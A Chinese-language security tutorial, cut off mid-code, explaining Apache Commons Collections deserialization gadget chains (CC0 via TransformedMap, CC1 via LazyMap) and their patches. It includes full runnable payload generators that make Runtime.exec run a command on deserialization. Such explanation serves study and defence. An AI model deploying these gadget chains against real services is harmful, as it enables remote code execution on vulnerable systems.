Commons Collections Apache Commons Collections 是⼀个著名的辅助开发库,包含了一些 Java 中没有的数据结构和和辅助方法,不过随着 Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
前者是 Commons Collections 老的版本包,当时版本号是 3.2.1;后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。
因为官方认为旧的 commons-collections 有⼀些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > </dependencies >
Transformer 是一个接口,具体代码如下,可以看到这个接口只有一个 transform 方法。
1 2 3 public interface Transformer { Object transform (Object var1) ; }
Transformer 可以说是 CC 链的核心,几乎所有的 CC 链都依赖于 Transformer。我们可以简单的把 CC 链总结为:寻找一个类,这个类自定义的 readObject 方法会直接或间接的触发对指定 Transformer 对象调用 transform 方法的代码。
由于我们可以用一系列 Transformer 接口实现类实现代码执行流的完全控制,因此当调用 transform 方法的时候,就可以执行我们的恶意代码。
TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加(写入操作)新的元素时,将可以执行一个回调。我们通过下面这行代码对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map:
1 Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
在 Common-Collections4 中 decorate 方法改名为 transformingMap,但是在实现上没有变化:
1 Map outerMap = LazyMap.lazyMap(innerMap, transformerChain)
TransformedMap#decorate 函数是一个工厂方法,该方法会实例化一个 TransformedMap 对象,并且根据参数设置 keyTransformer 和 valueTransformer 成员。
1 2 3 4 5 6 7 8 9 10 11 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
另外 TransformedMap 构造函数还会调用父类构造函数,而 TransformedMap 有如下继承关系:
其中在 AbstractMapDecorator 的构造函数中会设置 map 成员,也就是保存被修饰的 Map。
1 2 3 4 5 6 public AbstractMapDecorator (Map map) { if (map == null ) { throw new IllegalArgumentException ("Map must not be null" ); } this .map = map; }
被修饰后的 outerMap 在存储新元素时,就会调用 transform 方法对键值对做一个转换。这个过程就类似在调用⼀个“回调函数”,这个回调的参数是原始对象。
例如 TransformedMap.put 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected Object transformKey (Object object) { if (keyTransformer == null ) { return object; } return keyTransformer.transform(object); } protected Object transformValue (Object object) { if (valueTransformer == null ) { return object; } return valueTransformer.transform(object); } public Object put (Object key, Object value) { key = this .transformKey(key); value = this .transformValue(value); return this .getMap().put(key, value); }
get 方法不会触发 transformKey 函数调用,这是因为 TransformedMap 并没有实现 get 方法,因此 get 实际上调用的是 org.apache.commons.collections.map.AbstractMapDecorator#get,最终调用的是内部被修饰的 map 的 get 方法:
1 2 3 public Object get (Object key) { return map.get(key); }
另外对 TransformedMap 继承的 AbstractInputCheckedMapDecorator 有内部类 MapEntry 用来描述 TransformedMap 中存储的键值对。下图描述了 TransformedMap 及其父类 AbstractInputCheckedMapDecorator 的内部类之间的所属关系。
其中 MapEntry 中的 setValue 方法会调用 parent 也就是 TransformedMap 的 checkSetValue 方法。
1 2 3 4 public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
TransformedMap 的 checkSetValue 方法会调用 valueTransformer 的 transform 方法对 value 做转换。
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
这里要解释一下为什么 AbstractInputCheckedMapDecorator$MapEntry 的 parent 是 TransformedMap。
首先 AbstractInputCheckedMapDecorator 有三个内部类:
EntrySet :包装原始 Map.entrySet() 的返回值,为 Map.Entry 提供额外行为(如拦截、校验等)。
EntrySetIterator :用于遍历 EntrySet,在 next() 时返回包装过的 MapEntry。
MapEntry :包装原始的 Map.Entry,其主要职责是在 setValue() 被调用时,对传入的 value 值进行校验或转换,通常会回调 parent.checkSetValue(...)。
当我们调用 map.entrySet().iterator().next().setValue("newValue") 这整条链时,系统会依次触发这三个内部类的构造过程 ,每一层都进行了一次包装,并将 parent 传递下去,最终 setValue() 调用的是包装过的 MapEntry#setValue(),从而实现了自定义的值校验或转换逻辑。
当程序显式调用了 map.entrySet(),或者隐式调用(例如 for (Map.Entry e : map.entrySet())),JVM 就会执行 entrySet 这个方法,这里实际调用的是 TransformedMap 的父类 AbstractInputCheckedMapDecorator 的 entrySet() 方法。
1 2 3 4 5 6 7 8 9 10 11 protected boolean isSetValueChecking () { return true ; } public Set entrySet () { if (isSetValueChecking()) { return new EntrySet (map.entrySet(), this ); } else { return map.entrySet(); } }
这里构造了一个包装后的 EntrySet,并把 this(即当前的 TransformedMap 实例)传入,作为 EntrySet 的 parent。
1 2 3 4 protected EntrySet (Set set, AbstractInputCheckedMapDecorator parent) { super (set); this .parent = parent; }
之后执行 entrySet().iterator() 调用的是 EntrySet 的 iterator() 方法:
1 2 3 public Iterator iterator () { return new EntrySetIterator (collection.iterator(), parent); }
EntrySetIterator 将传入的 parent 作为自身 parent 属性的值。
1 2 3 4 protected EntrySetIterator (Iterator iterator, AbstractDualBidiMap parent) { super (iterator); this .parent = parent; }
在增强 for 循环中隐式调用 iterator()。这是遍历 Set 时的标准调用流程。其中 EntrySetIterator 是自定义的迭代器,用于对返回的 Map.Entry 做进一步包装和拦截。
再之后执行 iterator().next() 的时候,JVM 会触发 EntrySetIterator 的 next() 方法:
1 2 3 4 public Object next () { Map.Entry entry = (Map.Entry) iterator.next(); return new MapEntry (entry, parent); }
iterator().next() 或隐式执行 for 循环时,需要返回下一个条目,这时候就需要构造一个 MapEntry。在 MapEntry 中 parent 被初始化为最初传入的 parent。
1 2 3 4 protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; }
LazyMap LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator。
1 Map outerMap = LazyMap.decorate(innerMap, transformerChain);
在 Common-Collections4 中 decorate 方法改名为 lazyMap,但是在实现上没有变化:
1 Map outerMap = LazyMap.lazyMap(innerMap, transformerChain)
LazyMap#decorate 实际上是创建了一个 LazyMap 对象,并且根据参数设置 factory 为我们传入的 Transformer 对象。
1 2 3 4 5 6 7 8 9 10 11 protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; } public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
与 TransformedMap 不同的是 LazyMap 并不继承于 AbstractInputCheckedMapDecorator,而是直接继承于 AbstractMapDecorator。因此 TransformedMap 不继承 AbstractInputCheckedMapDecorator 中用的内部类,也就没有了 TransformedMap 的 setValue 的触发方式。
不过由于 TransformedMap 同样继承于 AbstractMapDecorator,因此被修饰的 Map 同样会在 AbstractMapDecorator 的构造函数中保存到成员变量上。
LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
LazyMap 在其 get 方法中执行的 factory.transform 的条件是 LazyMap 没有当前查询的 key,并且查询后会将 (key, factory.transform(key)) 放入 map。
也就是说对于一个特定的 key,我们只能调用一次 transform 。除非调用 Map.clear 方法清空 LazyMap 。
TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。对于一些需要维护顺序的数据结构(如 java.util.PriorityQueue),如果传入 TransformingComparator 用于两个对象的比较,那么比较两个对象的时候会调用 TransformingComparator 的 compare 方法。在 compare 方法内部会调用其中 transformer 成员的 transform 方法并传入进行比较的对象。
1 2 3 4 5 public int compare (Object obj1, Object obj2) { Object value1 = this .transformer.transform(obj1); Object value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
TransformingComparator 的构造函数如下,这里的 transformer 就是我们构造的 Transformer 结构,另外 decorated 如果不指定会传入 new ComparableComparator() 。
1 2 3 4 5 6 7 8 public TransformingComparator (Transformer transformer) { this (transformer, new ComparableComparator ()); } public TransformingComparator (Transformer transformer, Comparator decorated) { this .decorated = decorated; this .transformer = transformer; }
ConstantTransformer 在构造函数的时候传入一个对象,并在 transform 方法将这个对象再返回:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
在 Transformer 构造的代码执行流中,我们可以把 ConstantTransformer 理解为一个常量,可以返回一个确定的对象。
这样我们就可以屏蔽前面定义的 readObject 方法触发 transform 方法调用时传入的 input 参数对我们构造的 Transformer 代码执行流产生影响。
InvokerTransformer 可以对 transform 方法传入的对象参数调用任意方法并传入任意参数,这也是反序列化能执行任意代码的关键。
在实例化这个 InvokerTransformer 时,需要传入三个参数:
String methodName:待执行的函数名
Class[] paramTypes:这个函数的参数类型列表
Object[] args:传给这个函数的参数列表
1 2 3 4 5 6 7 8 9 10 11 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法,并传入 iArgs 参数,即 input.iMethod(iArgs)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object transform (Object input) { if (input == null ) { return null ; } try { Class<?> cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } }
InstantiateTransformer 会把传入的 input 看做是一个 Class 对象,然后调用其对应的构造函数并传入指定参数来实例化一个对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor<?> con = ((Class<?>) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } }
ChainedTransformer 也是实现了 Transformer 接口的一个类,它的作用是将内部的多个 Transformer 串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
构造任意代码执行 根据前面对 Transformer 的介绍,我们可以将 Runtime.getRuntime().exec("calc") 拆解为 runtime = Runtime.getRuntime() 和 runtime.exec("calc") 两部分,因而有如下构造:
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers);transformerChain.transform(null );
然而由于 Runtime 对象没有实现 Serializable 接口,因此 transformerChain 对象是无法序列化的,因此我们还要把 Runtime.getRuntime() 拆解为 getRuntime = Runtime.class.getMethod("getRuntime") 和 getRuntime.invoke(null)。
由于 InvokerTransformer 内部会对传入的方法调用 getMethod 查找,因此构造 InvokerTransformer 时传入的参数类型需要严格按照传入的方法名对应的方法的定义来,且参数要和参数类型数量严格对应,这就是为什么实际上我们构造的是 Runtime.class.getMethod("getRuntime", null) 和 getRuntime.invoke(null, null)(新添加的 null 表示类型或参数数组)。
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers);transformerChain.transform(null );
构造任意字节码加载 TemplatesImpl 加载任意字节码有如下调用栈:
1 2 3 4 5 6 defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax) defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) main:34, DefineClassExample (com.example)
因此我们只需要想办法让程序执行流程能够到达这个调用栈中任意一个函数即可,例如 newTransformer。
1 2 3 4 5 6 7 8 Object obj = createTemplatesImpl("calc" );Transformer[] transformers = new Transformer []{ new ConstantTransformer (obj), new InvokerTransformer ("newTransformer" , null , null ) }; Transformer transformerChain = new ChainedTransformer (transformers);transformerChain.transform(null );
Apache Commons Collections 官方在 2015 年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本 4.1 和 3.2.2。
3.2.2 版代码中增加了一个方法 FunctorUtils#checkUnsafeSerialization,用于检测反序列化是否安全。如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。
这个检查在常见的危险 Transformer 类(InstantiateTransformer、InvokerTransformer、PrototypeFactory、CloneTransformer 等)的 readObject 里进行调用。所以,当我们反序列化包含这些对象时就会抛出一个异常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property ‘org.apache.commons.collections.enableUnsafeSerialization’ to ‘true’, but you must ensure that your application does not de-serialize objects from untrusted sources.
在 4.1 版本,这几个危险 Transformer 类不再实现 Serializable 接口,也就是说,他们几个彻底无法序列化和反序列化了。
反序列化利用链
CC0 1 2 3 4 at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:204) at org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:192) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:451)
sun.reflect.annotation.AnnotationInvocationHandler#memberValues 是 Map 类型,可以被 TransformedMap 修饰。
1 2 3 4 5 6 7 8 9 10 11 12 private final Class<? extends Annotation > type;private final Map<String, Object> memberValues;AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
并且在 AnnotationInvocationHandler#readObject 中会调用 memberValue 的 setValue 方法,进而触发 TransformedMap 中的键值对的 transformer 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
不过这里需要绕过 memberType != null 判断,根据调试可知:
memberTypes 中的 key 是构造时传入的 type 对应的类中的所有方法名字符串。
name 是构造时传入的 memberValues 中的某个 key。
又因为 type 还要继承自 Annotation,因此因此我们构造 AnnotationInvocationHandler 的时候 type 选择 Retention.class 。
@Retention 本身是一个元注解 ,意味着它是用来注解其他注解的。@Retention 的设计也遵循了 Java 注解的规范:每个注解类型都继承自 Annotation 接口,这保证了注解类型的一致性。
1 2 3 4 5 6 7 8 9 10 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Retention { RetentionPolicy value () ; }
因为 Retention 中有一个 value 方法,因此 memberTypes 会有一个 value 字符串的键。我们预先在 memberValues 中存一个 value 字符串的键,反序列化的时候就可以执行到 setValue 方法。
利用代码(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.*;public class CommonsCollections0 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "sky" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); return handler; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } }
commons-collections4 只是将 TransformedMap.decorate 更改为 TransformedMap.transformingMap,其余不变。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.*;public class CommonsCollections0 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "sky" ); Map outerMap = TransformedMap.transformingMap(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); return handler; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } }
修复情况(≤ JDK8u71) 在 8u71 以后大概是 2015 年 12 月的时候,Java 官方修改 了 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 @@ -25,6 +25,7 @@ package sun.reflect.annotation; +import java.io.ObjectInputStream; import java.lang.annotation.*; import java.lang.reflect.*; import java.io.Serializable; @@ -425,35 +426,72 @@ private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { - s.defaultReadObject(); + ObjectInputStream.GetField fields = s.readFields(); + + @SuppressWarnings("unchecked") + Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null); + @SuppressWarnings("unchecked") + Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { - annotationType = AnnotationType.getInstance(type); + annotationType = AnnotationType.getInstance(t); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); + // consistent with runtime Map type + Map<String, Object> mv = new LinkedHashMap<>(); // If there are annotation members without values, that // situation is handled by the invoke method. - for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { + for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); + Object value = null; Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists - Object value = memberValue.getValue(); + value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { - memberValue.setValue( - new AnnotationTypeMismatchExceptionProxy( + value = new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( - annotationType.members().get(name))); + annotationType.members().get(name)); } } + mv.put(name, value); + } + + UnsafeAccessor.setType(this, t); + UnsafeAccessor.setMemberValues(this, mv); + } + + private static class UnsafeAccessor { + private static final sun.misc.Unsafe unsafe; + private static final long typeOffset; + private static final long memberValuesOffset; + static { + try { + unsafe = sun.misc.Unsafe.getUnsafe(); + typeOffset = unsafe.objectFieldOffset + (AnnotationInvocationHandler.class.getDeclaredField("type")); + memberValuesOffset = unsafe.objectFieldOffset + (AnnotationInvocationHandler.class.getDeclaredField("memberValues")); + } catch (Exception ex) { + throw new ExceptionInInitializerError(ex); + } + } + static void setType(AnnotationInvocationHandler o, + Class<? extends Annotation> type) { + unsafe.putObject(o, typeOffset, type); + } + + static void setMemberValues(AnnotationInvocationHandler o, + Map<String, Object> memberValues) { + unsafe.putObject(o, memberValuesOffset, memberValues); } } }
新版的 readObject 的主要变化为:
不再 defaultReadObject()
改为 ObjectInputStream.GetField fields = s.readFields();,只把序列化流中的两个字段临时读入局部变量 t(type)和 streamVals(memberValues),并没有给 this.memberValues 赋值 。
旧版因为 defaultReadObject() 的存在,攻击者的 TransformedMap 会立刻成为 this.memberValues;现在它只是一个局部变量,不会被“持久化”到对象里。
新建一个干净的 LinkedHashMap mv,只读复制
由于新创建的 Map 与 Transformer 相关结构无关,初始化完成后再用 Unsafe 写回 memberValues 字段,整个过程不会触发任何利用链。
因此 CC0 在 JDK8u71 之后失效。
CC1 1 2 3 4 5 at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158) at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77) at com.sun.proxy.$Proxy1.entrySet(Unknown Source:-1) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
原理分析(AnnotationInvocationHandler→LazyMap) 前面提到过,LazyMap 修饰过的 Map 只要调用 get 方法就会触发 transform 方法。然而 AnnotationInvocationHandler.readObject 并没有调用 get 方法。
不过幸运的是 AnnotationInvocationHandler 实现了 InvocationHandler 接口,因此 AnnotationInvocationHandler 本身是一个动态代理接口对象。也就是说只要我们把一个 Map 用 AnnotationInvocationHandler 代理,那么代理后的 Map 的任何方法调用都会执行到 AnnotationInvocationHandler 的 invoke 方法。
1 2 InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class []{Map.class}, handler);
AnnotationInvocationHandler 的 invoke 方法特判几种方法后会调用 memberValues 的 get 方法,也就会触发 LazyMap 的 transform 方法调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); return result; }
利用代码(CC3/CC4)
代理之后任何对 proxyMap 的操作都会触发 transformer 调用,因此需要最后设置恶意的 Transformer。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class CommonsCollections1 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (new Transformer []{new ConstantTransformer (1 )}); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class []{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); setFieldValue(transformerChain, "iTransformers" , transformers); return handler; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
commons-collections4 只是将 LazyMap.decorate 更改为 LazyMap.lazyMap,其余不变。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.map.LazyMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class CommonsCollections1 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (new Transformer []{new ConstantTransformer (1 )}); Map innerMap = new HashMap (); Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class []{Map.class}, handler); handler = (InvocationHandler) 